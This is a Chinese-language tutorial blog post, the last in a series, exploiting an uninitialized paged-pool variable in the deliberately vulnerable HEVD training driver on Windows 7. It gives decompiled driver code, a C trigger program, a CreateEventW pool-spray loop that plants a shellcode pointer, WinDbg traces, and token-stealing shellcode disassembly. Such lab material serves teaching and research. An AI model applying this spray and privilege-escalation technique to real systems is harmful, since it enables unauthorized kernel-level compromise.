Windows Kernel Exploit(七) -> Uninitialized-Heap-Variable

thund**** / 2019-07-28 10:21:00 / 浏览数 4583 安全技术 二进制安全 顶(1) 踩(0)

## 0x00：前言

这是 Windows kernel exploit 系列的最后一篇，如果你按顺序观看我之前文章并且自己调过的话，应该对各种漏洞类型在Windows 7 下的利用比较熟悉了，其他的话我放在最后说把，现在进入我所谓的最后一个专题，未初始化的堆变量利用，看此文章之前你需要有以下准备：

- Windows 7 x86 sp1虚拟机
- 配置好windbg等调试工具，建议配合VirtualKD使用
- HEVD+OSR Loader配合构造漏洞环境

传送门：

[+] Windows Kernel Exploit(一) -> UAF

[+] Windows Kernel Exploit(二) -> StackOverflow

[+] Windows Kernel Exploit(三) -> Write-What-Where

[+] Windows Kernel Exploit(四) -> PoolOverflow

[+] Windows Kernel Exploit(五) -> Null-Pointer-Dereference

[+] Windows Kernel Exploit(六) -> Uninitialized-Stack-Variable

## 0x01：漏洞原理

### 未初始化堆变量

我们还是先用IDA分析`HEVD.sys`，找到相应的函数`TriggerUninitializedHeapVariable`，这里首先还是初始化了异常处理机制，验证我们传入的`UserBuffer`是否在user mode ，然后申请了一块分页池，将我们的`UserBuffer`给了`UserValue`，判断是否等于 0xBAD0B0B0 ，如果相等则给回调函数之类的赋值，如果不相等则直接调用回调函数，根据前一篇的经验，这里肯定是修改回调函数为我们shellcode的位置，最后调用提权

```
int __stdcall TriggerUninitializedHeapVariable(void *UserBuffer)
{
 int result; // eax
 int UserValue; // esi
 _UNINITIALIZED_HEAP_VARIABLE *UninitializedHeapVariable; // [esp+18h] [ebp-1Ch]
 CPPEH_RECORD ms_exc; // [esp+1Ch] [ebp-18h]

 ms_exc.registration.TryLevel = 0;
 ProbeForRead(UserBuffer, 0xF0u, 4u);
 UninitializedHeapVariable = (_UNINITIALIZED_HEAP_VARIABLE *)ExAllocatePoolWithTag(PagedPool, 0xF0u, 0x6B636148u);
 if ( UninitializedHeapVariable )
 {
   DbgPrint("[+] Pool Tag: %s\n", "'kcaH'");
   DbgPrint("[+] Pool Type: %s\n", "PagedPool");
   DbgPrint("[+] Pool Size: 0x%X\n", 0xF0);
   DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedHeapVariable);
   UserValue = *(_DWORD *)UserBuffer;
   DbgPrint("[+] UserValue: 0x%p\n", *(_DWORD *)UserBuffer);
   DbgPrint("[+] UninitializedHeapVariable Address: 0x%p\n", &UninitializedHeapVariable);
   if ( UserValue == 0xBAD0B0B0 )
   {
     UninitializedHeapVariable->Value = 0xBAD0B0B0;
     UninitializedHeapVariable->Callback = (void (__stdcall *)())UninitializedHeapVariableObjectCallback;
     memset(UninitializedHeapVariable->Buffer, 0x41, 0xE8u);
     UninitializedHeapVariable->Buffer[0x39] = 0;
   }
   DbgPrint("[+] Triggering Uninitialized Heap Variable Vulnerability\n");
   if ( UninitializedHeapVariable )
   {
     DbgPrint("[+] UninitializedHeapVariable->Value: 0x%p\n", UninitializedHeapVariable->Value);
     DbgPrint("[+] UninitializedHeapVariable->Callback: 0x%p\n", UninitializedHeapVariable->Callback);
```

```
    UninitializedHeapVariable->Callback();
  }
  result = 0;
 }
 else
 {
  DbgPrint("[-] Unable to allocate Pool chunk\n");
  ms_exc.registration.TryLevel = 0xFFFFFFFE;
  result = 0xC0000017;
 }
 return result;
}
```

我们查看一下源码文件是如何说明的，安全的方案先检查了是否存在空指针，然后将UninitializedMemory置为NULL，最后安全的调用了回调函数，而不安全的方案则在
Value 和 Callback 的情况下直接调用了回调函数

```
#ifdef SECURE
       else {
           DbgPrint("[+] Freeing UninitializedMemory Object\n");
           DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
           DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedMemory);

           //
           // Free the allocated Pool chunk
           //

           ExFreePoolWithTag((PVOID)UninitializedMemory, (ULONG)POOL_TAG);

           //
           // Secure Note: This is secure because the developer is setting 'UninitializedMemory'
           // to NULL and checks for NULL pointer before calling the callback
           //

           //
           // Set to NULL to avoid dangling pointer
           //

           UninitializedMemory = NULL;
       }
#else
       //
       // Vulnerability Note: This is a vanilla Uninitialized Heap Variable vulnerability
       // because the developer is not setting 'Value' & 'Callback' to definite known value
       // before calling the 'Callback'
       //

       DbgPrint("[+] Triggering Uninitialized Memory in PagedPool\n");
#endif

       //
       // Call the callback function
       //

       if (UninitializedMemory)
       {
           DbgPrint("[+] UninitializedMemory->Value: 0x%p\n", UninitializedMemory->Value);
           DbgPrint("[+] UninitializedMemory->Callback: 0x%p\n", UninitializedMemory->Callback);

           UninitializedMemory->Callback();
       }
   }
   __except (EXCEPTION_EXECUTE_HANDLER)
   {
       Status = GetExceptionCode();
       DbgPrint("[-] Exception Code: 0x%X\n", Status);
   }
```

漏洞的原理我们很清楚了，现在就是如何构造和利用的问题了，如果你没有看过我之前的文章，建议看完这里之后去看看池溢出那一篇，最好是读一下文章中所提到的Tarje
Mandt 写的 Kernel Pool Exploitation on Windows 7，对Windows 7 内核池有一个比较好的认识

## 0x02：漏洞利用

### 控制码

我们还是从控制码入手，在HackSysExtremeVulnerableDriver.h中定位到相应的定义

```
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL               IOCTL(0x80C)
```

然后我们用python计算一下控制码

```
>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x80c << 2) | 0x00000003)
'0x222033'
```

我们验证一下我们的代码，我们先传入 buf = 0xBAD0B0B0 观察，构造如下代码

```
#include<stdio.h>
#include<Windows.h>

HANDLE hDevice = NULL;

BOOL init()
{
   // Get HANDLE
   hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
       GENERIC_READ | GENERIC_WRITE,
       NULL,
       NULL,
       OPEN_EXISTING,
       NULL,
       NULL);

   printf("[+]Start to get HANDLE...\n");
   if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
   {
       return FALSE;
   }
   printf("[+]Success to get HANDLE!\n");
   return TRUE;
}

VOID Trigger_shellcode()
{
   DWORD bReturn = 0;
   char buf[4] = { 0 };
   *(PDWORD32)(buf) = 0xBAD0B0B0;

   DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);
}

int main()
{

   if (init() == FALSE)
   {
       printf("[+]Failed to get HANDLE!!!\n");
       system("pause");
       return 0;
   }

   Trigger_shellcode();
   //__debugbreak();

   system("pause");

   return 0;
}
```

这里我们打印的信息如下，如我们所愿，并没有异常发生

```
3: kd> g
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******
[+] Pool Tag: 'kcaH'
[+] Pool Type: PagedPool
[+] Pool Size: 0xF0
[+] Pool Chunk: 0x9A7FFF10
[+] UserValue: 0xBAD0B0B0
[+] UninitializedHeapVariable Address: 0x97EF4AB8
[+] Triggering Uninitialized Heap Variable Vulnerability
[+] UninitializedHeapVariable->Value: 0xBAD0B0B0
[+] UninitializedHeapVariable->Callback: 0x8D6A3D58
[+] Uninitialized Heap Variable Object Callback
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******
```

我们尝试传入不同的值观察是否有异常发生

```
VOID Trigger_shellcode()
{
   DWORD bReturn = 0;
   char buf[4] = { 0 };
   *(PDWORD32)(buf) = 0xBAD0B0B0+1;

   DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);
}
```

我们在调用运行效果如下，这里被异常处理所接受，这里我们Callback有一个值，我们查看之后发现是一个无效地址，我们希望的当然是指向我们的shellcode，所以就需要

```
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******
[+] Pool Tag: 'kcaH'
[+] Pool Type: PagedPool
[+] Pool Size: 0xF0
[+] Pool Chunk: 0x9A03C430
[+] UserValue: 0xBAD0B0B1
[+] UninitializedHeapVariable Address: 0x8E99BAB8
[+] Triggering Uninitialized Heap Variable Vulnerability
[+] UninitializedHeapVariable->Value: 0x00000000
[+] UninitializedHeapVariable->Callback: 0xDD1CB39C
Breakpoint 0 hit
8d6a3e83 ff5004          call    dword ptr [eax+4]
0: kd> dd 0xDD1CB39C
dd1cb39c  ???????? ???????? ???????? ????????
dd1cb3ac  ???????? ???????? ???????? ????????
dd1cb3bc  ???????? ???????? ???????? ????????
dd1cb3cc  ???????? ???????? ???????? ????????
dd1cb3dc  ???????? ???????? ???????? ????????
dd1cb3ec  ???????? ???????? ???????? ????????
dd1cb3fc  ???????? ???????? ???????? ????????
dd1cb40c  ???????? ???????? ???????? ????????
```

## 构造堆结构

现在我们已经有了思路，还是把Callback指向shellcode，既然上一篇类似的问题能够栈喷射，那这里我们自然想到了堆喷射，回想我们在池溢出里堆喷射所用的函数Creat

```
HANDLE CreateEventA(
 LPSECURITY_ATTRIBUTES lpEventAttributes,
 BOOL                  bManualReset,
 BOOL                  bInitialState,
 LPCSTR                lpName
);
```

为了更好的理解这里的利用，让我们复习一下 Windows 7 下的Lookaside
Lists快表结构，并且我们知道最大块大小是0x20，最多有256个块(前置知识来自Tarjei Mandt的Kernel Pool Exploitation on Windows
7文章)，这里要清楚的是我们是在修改快表的结构，因为申请池一开始是调用的快表，如果快表不合适才会去调用空表(ListHeads)

```
typedef struct _GENERAL_LOOKASIDE_POOL
{
               union{
/*0x000*/                   union _SLIST_HEADER ListHead;
/*0x000*/                   struct _SINGLE_LIST_ENTRY SingleListHead;
               };
```

```
/*0x008*/        UINT16         Depth;
/*0x00A*/        UINT16         MaximumDepth;
/*0x00C*/        ULONG32        TotalAllocates;
               union{
/*0x010*/                   ULONG32 AllocateMisses;
/*0x010*/                   ULONG32 AllocateHits;
               };
/*0x014*/        ULONG32        TotalFrees;
               union{
/*0x018*/                   ULONG32 FreeMisses;
/*0x018*/                   ULONG32 FreeHits;
               };
/*0x01C*/       enum _POOL_TYPE  Type;
/*0x020*/       ULONG32        Tag;
/*0x024*/       ULONG32        Size;
               union{
/*0x028*/                   PVOID AllocateEx;
/*0x028*/                   PVOID Allocate;
               };
               union{
/*0x02C*/                    PVOID FreeEx;
/*0x02C*/                    PVOIDFree;
               };
/*0x030*/       struct _LIST_ENTRY ListEntry;
/*0x038*/       ULONG32        LastTotalAllocates;
               union{
/*0x03C*/                ULONG32 LastAllocateMisses;
/*0x03C*/                ULONG32 LastAllocateHits;
               };
/*0x040*/        ULONG32 Future [2];
} GENERAL_LOOKASIDE_POOL, *PGENERAL_LOOKASIDE_POOL;
```

我们还需要知道的是，我们申请的每一个结构中的`lpName`还不能一样，不然两个池在后面就相当于一个在运作，又因为pool size为0xf0，加上header就是0xf8，所以我们这里考虑将`lpName`大小设为0xf0，因为源码中我们的堆结构如下：

```
typedef struct _UNINITIALIZED_HEAP_VARIABLE {
       ULONG_PTR Value;
       FunctionPointer Callback;
       ULONG_PTR Buffer[58];
} UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE;
```

我们可以确定回调函数在 +0x4 的位置，放入我们的shellcode之后我们在利用循环中的 i 设置不同的 lpname 就行啦

```
for (int i = 0; i < 256; i++)
{
   *(PDWORD)(lpName + 0x4) = (DWORD)& ShellCode;
   *(PDWORD)(lpName + 0xf0 - 4) = 0;
   *(PDWORD)(lpName + 0xf0 - 3) = 0;
   *(PDWORD)(lpName + 0xf0 - 2) = 0;
   *(PDWORD)(lpName + 0xf0 - 1) = i;
   Event_OBJECT[i] = CreateEventW(NULL, FALSE, FALSE, lpName);
}
```

最后我们整合一下代码就可以提权了，总结一下步骤

- 初始化句柄等结构
- 构造 lpName 结构
- 调用`CreateEventW`进行喷射
- 调用`TriggerUninitializedHeapVariable`函数触发漏洞
- 调用cmd提权

提权的过程中你可以参考下面几个地方查看相应的位置是否正确

```
0: kd> g
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******
[+] Pool Tag: 'kcaH'
[+] Pool Type: PagedPool
[+] Pool Size: 0xF0
[+] Pool Chunk: 0x909FE380
[+] UserValue: 0xBAD0B0B1
```

```
[+] UninitializedHeapVariable Address: 0x97E80AB8
[+] Triggering Uninitialized Heap Variable Vulnerability
[+] UninitializedHeapVariable->Value: 0x00000000
[+] UninitializedHeapVariable->Callback: 0x00371040
Breakpoint 0 hit
8d6a3e83 ff5004          call    dword ptr [eax+4]
1: kd> !pool 0x909FE380 // ■■■■■
unable to get nt!ExpHeapBackedPoolEnabledState
Pool page 909fe380 region is Paged pool
909fe000 size:  1e0 previous size:    0  (Free)       AlSe
909fe1e0 size:   28 previous size:  1e0  (Allocated)  MmSm
909fe208 size:   80 previous size:   28  (Free)       NtFU
909fe288 size:   18 previous size:   80  (Allocated)  Ntf0
909fe2a0 size:   18 previous size:   18  (Free)       CMVI
909fe2b8 size:   a8 previous size:   18  (Allocated)  CIcr
909fe360 size:   18 previous size:   a8  (Allocated)  PfFK
*909fe378 size:   f8 previous size:   18  (Allocated) *Hack
       Owning component : Unknown (update pooltag.txt)
909fe470 size:  1d8 previous size:   f8  (Allocated)  FMfn
909fe648 size:  4d0 previous size:  1d8  (Allocated)  CIcr
909feb18 size:  4e8 previous size:  4d0  (Allocated)  CIcr
1: kd> dd 909fe470-8 // ■■■■■■
909fe468  41414141 000e0000 063b021f 6e664d46
909fe478  01d0f204 00000000 0000032e 00000000
909fe488  909fe488 00000000 00000000 87ac918c
909fe498  00000000 00000000 00018000 00000040
909fe4a8  00000001 0160015e 909fe4e8 002e002e
909fe4b8  909fe4e8 00000000 00000000 00000000
909fe4c8  00000000 00000000 00000000 00000000
909fe4d8  00000000 00000000 00000000 00000002
1: kd> u 0x00371040 // ■■shellcode■■■■■■
00371040 53              push    ebx
00371041 56              push    esi
00371042 57              push    edi
00371043 60              pushad
00371044 64a124010000    mov     eax,dword ptr fs:[00000124h]
0037104a 8b4050          mov     eax,dword ptr [eax+50h]
0037104d 8bc8            mov     ecx,eax
0037104f ba04000000      mov     edx,4
```

提权效果如下，详细的代码参考这里


## 0x03：后记

到这里我的Windows Kernel
exploit系列也就结束了，这个过程比较艰辛，也阅读了许多的资料，其实有些地方我也搞的不是很懂，但我一般的方法是如果一天对这个问题没有丝毫的进展，我就不会再



上一篇：内核漏洞挖掘技术系列(7)——静态... 下一篇：Linux Kernel Expl...

1. 0 条回复
   - 动动手指，沙发就是你的了！